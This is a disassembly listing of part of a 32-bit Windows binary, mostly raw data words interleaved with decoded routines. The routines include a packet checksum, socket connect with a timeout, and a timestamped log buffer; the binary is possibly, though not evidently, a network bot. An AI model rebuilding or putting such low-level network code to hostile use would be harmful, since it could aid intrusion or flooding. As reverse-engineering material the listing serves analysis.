		dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 49E85359h,	90022DB1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414EE4
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414ED6:				; CODE XREF: ___:00414EDEj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414ED6
		pop	edi
		cmp	eax, 1


loc_414EE4:				; CODE XREF: ___:00414ECAj
		jnz	short loc_414EF1
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414EF1:				; CODE XREF: ___:loc_414EE4j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
word_414F0A	dw 8B55h		; DATA XREF: sub_401AC7+6C61o
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh,	934415FFh
		dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h,	0FC8B5965h
		dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh,	50004374h
		dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h,	75FF0000h
		dd 6713E8F0h, 5959FFFFh, 41E89056h, 55022DB0h, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch,	50D6FFF8h
		dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h
		dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 0AE89000h, 2B0228B7h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
		dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6CC0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4C92A8h, 0FF68h, 0E8016A00h,	3B12h, 45B60F50h, 0B60F509Eh
		dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh,	500042D9h
		dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h
		dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh
		dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
		dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h
		dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
		dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h
		dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h
		dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
		dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah,	8D8C4589h
		dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
		dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
		dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh,	8C68BC45h
		dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
		dd 0E89006FFh, 7169C5AEh, 5E858966h, 8DFFFFFFh,	0FFFF6085h
		dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh
		dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h
		dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h,	5088458Dh
		dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h
		dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh
dword_415208	dd 81EC8B55h, 414ECh, 8558B00h,	85B856h, 8B570000h, 8DF28BC8h
					; DATA XREF: sub_401AC7+4BE2o
		dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
		dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
		dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh
		dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h
		dd 0AD82E890h, 8B55022Dh, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	938415FFh, 0F883004Ch, 0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h,	5900006Dh
		dd 0E959FF33h, 2C6h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h,	15FF0E75h
		dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh
		dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h
		dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh
		dd 69BFC7E8h, 358B9071h, 4270B8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h
		dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h
		dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h,	68AC458Dh
		dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h
		dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h
		dd 1004CC6h, 3D896600h,	4CC6A6h, 0C6A805C6h, 0C680004Ch
		dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h
		dd 4CC6ACh, 0A3E0458Bh,	4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h
		dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h
		dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h
		dd 4C9304h, 0C6B6A366h,	0AFE8004Ch, 9900006Bh, 401B9h
		dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h
		dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h
		dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h,	50106ADCh
		dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h
		dd 0A484h, 0FC45FF00h, 0B213E890h, 452B0228h, 0B9D233F8h
		dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh
		dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh
		dd 50000001h, 41CF669h,	0A2E80000h, 8B000069h, 0C1C68BC8h
		dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch
		dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah,	0BD391CC4h
		dd 214h, 8D572075h, 0FFFDAC85h,	10B5FFFFh, 50000002h, 18C858Dh
		dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h
		dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh,	0FDAC858Dh
		dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h
		db 0EBh, 0ACh
word_4155D6	dw 8B55h		; DATA XREF: sub_401AC7+62C1o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h
		dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h
		dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h
		dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h
		dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 90565959h
		dd 2DA97BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156B0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_41576C
; ---------------------------------------------------------------------------


loc_4156B0:				; CODE XREF: ___:0041569Aj
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4C92AC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4C92EC
		test	eax, eax
		jnz	short loc_415714
		or	eax, 0FFFFFFFFh
		jmp	short loc_41576C
; ---------------------------------------------------------------------------


loc_415714:				; CODE XREF: ___:0041570Dj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41571F


loc_41571B:				; CODE XREF: ___:0041573Fj
					; ___:00415763j
		mov	eax, edi
		jmp	short loc_41576C
; ---------------------------------------------------------------------------


loc_41571F:				; CODE XREF: ___:00415719j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_415741
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41571B


loc_415741:				; CODE XREF: ___:0041572Ej
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_41571B
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_41576C:				; CODE XREF: ___:004156ABj
					; ___:00415712j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh
		dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah
		dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h,	8B004C92h
		dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah
		dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h
		dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h
		dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h,	178045C7h, 0C7000000h
		dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h
		dd 0C7000000h, 6E9845h,	45C70000h, 719Ch, 0A045C700h, 77h
		dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h
		dd 8Fh,	0BBB445C7h, 0C7000001h,	1BDB845h, 45C70000h, 400BCh
		dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h
		dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h
		dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h
		dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h
		dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh
		dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h
		dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h,	4589E44Dh
		dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh
		dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch
		dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h
		dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h
		dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh
		dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h,	0C33B008Bh
		dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h
		dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h
		dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch
		dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h
		dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h
		dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch
		dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch
		dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch
		dd 0FFFE68h, 0E8016A00h, 3162h,	4D8B5959h, 10E0C108h, 0C10BCE23h
		dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch
		dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh,	415FF00h
		dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh
		dd 0E808E7C1h, 3112h, 310C483h,	15FF57F8h, 4C9300h, 4CCAE8A3h
		dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h
		dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h
		dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh,	4CCB1105h
		dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h
		dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh,	4CCAFAA3h
		dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h
		dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch
		dd 0A3004CCAh, 4CCB08h,	0CAF105C6h, 8902004Ch, 4CCAEC1Dh
		dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h
		dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h
		dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h,	4CCAE4BEh
		dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h,	4CCAF4h
		dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h
		dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh
		dd 0A36610C4h, 4CCAF4h,	0F868106Ah, 53004CCAh, 0FF56286Ah
		dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h,	3FFFCh
		dd 238C0F00h, 90FFFFFFh, 28AB5CE8h, 0F4452B02h,	0E8B9D233h
		dd 0F7000003h, 0C453BF1h, 75FF0E77h, 34E89010h,	0E90226A9h
		dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BF6	proc near		; CODE XREF: sub_401AC7+710Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43B4C0
		mov	edi, 0B8h


loc_415C0A:				; CODE XREF: sub_415BF6+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C2D
		push	[ebp+arg_0]
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C2D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43C040
		jl	short loc_415C0A
		jmp	short loc_415C6F
; ---------------------------------------------------------------------------


loc_415C2D:				; CODE XREF: sub_415BF6+17j
					; sub_415BF6+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43B4C0[esi]
		push	ebx
		call	sub_41BD10
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BD70
		push	9Fh
		lea	eax, dword_43B4D8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BD70
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_415C6F:				; CODE XREF: sub_415BF6+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C76	proc near		; CODE XREF: sub_401AC7+2880p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437718
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B4C0


loc_415CA0:				; CODE XREF: sub_415C76+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415CDB
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437704
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C100
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 2Ch


loc_415CDB:				; CODE XREF: sub_415C76+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43C040
		jl	short loc_415CA0
		pop	edi
		pop	esi
		leave
		retn
sub_415C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CEE	proc near		; CODE XREF: ___:004015A2p
					; ___:00401623p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	ebx, offset dword_4D0F34
		mov	edi, 80h
		mov	esi, offset dword_4CCF34


loc_415D10:				; CODE XREF: sub_415CEE+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D27
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_415D27:				; CODE XREF: sub_415CEE+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D10
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D62	proc near		; CODE XREF: sub_4017E7+F7p
					; sub_401AC7:loc_408954p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C900
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415CEE
		add	esp, 14h
		leave
		retn
sub_415D62	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D8E	proc near		; CODE XREF: sub_401AC7+2777p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CCF34
		xor	ecx, ecx


loc_415D95:				; CODE XREF: sub_415D8E+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D0F34
		jl	short loc_415D95
		cmp	[esp+arg_C], ecx
		jnz	short loc_415DC3
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437764
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409862
		add	esp, 14h


loc_415DC3:				; CODE XREF: sub_415D8E+19j
		push	offset dword_437750
		call	sub_415CEE
		pop	ecx
		retn
sub_415D8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DCF	proc near		; CODE XREF: ___:0040E1F0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CCF34


loc_415DD5:				; CODE XREF: sub_415DCF+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415DEA
		push	[esp+4+arg_0]
		push	esi
		call	sub_418584
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415DFC


loc_415DEA:				; CODE XREF: sub_415DCF+9j
		add	esi, 80h
		cmp	esi, offset dword_4D0F34
		jl	short loc_415DD5
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415DFC:				; CODE XREF: sub_415DCF+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415DCF	endp

; ---------------------------------------------------------------------------
byte_415E01	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+282Ao
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E54
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437794
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415E54:				; CODE XREF: ___:00415E34j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415E74
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415E74
		mov	[ebp-8], eax


loc_415E74:				; CODE XREF: ___:00415E5Bj
					; ___:00415E6Fj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CCF34


loc_415E7D:				; CODE XREF: ___:00415ED5j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415ED7
		cmp	byte ptr [esi],	0
		jz	short loc_415EC6
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EAC
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EAC
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418584
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415EC6


loc_415EAC:				; CODE XREF: ___:00415E91j
					; ___:00415E97j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415EC6:				; CODE XREF: ___:00415E88j
					; ___:00415EAAj
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D0F34
		jl	short loc_415E7D


loc_415ED7:				; CODE XREF: ___:00415E83j
		lea	eax, [ebp-31Ch]
		push	offset dword_437778
		push	eax
		call	sub_41C006
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F11
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415F11:				; CODE XREF: ___:00415EEFj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-18h]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0D2h, 0A0h
		dd 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F30	proc near		; CODE XREF: ___:004165D5p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C9384
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FAC
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C9344
		cmp	eax, esi
		jnz	short loc_415F91
		push	[ebp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jz	short loc_415FAC
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415F91:				; CODE XREF: sub_415F30+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, esi
		jnz	short loc_415FB0
		push	edi
		call	dword_4C939C


loc_415FAC:				; CODE XREF: sub_415F30+1Bj
					; sub_415F30+58j
		mov	eax, esi
		jmp	short loc_415FB2
; ---------------------------------------------------------------------------


loc_415FB0:				; CODE XREF: sub_415F30+73j
		mov	eax, edi


loc_415FB2:				; CODE XREF: sub_415F30+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F30	endp

; ---------------------------------------------------------------------------
word_415FB6	dw 8B55h		; DATA XREF: sub_401AC7+9F6o
		dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 90565959h
		dd 2D9FB7E8h, 0B4B86802h, 0E8530043h, 40FEh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh
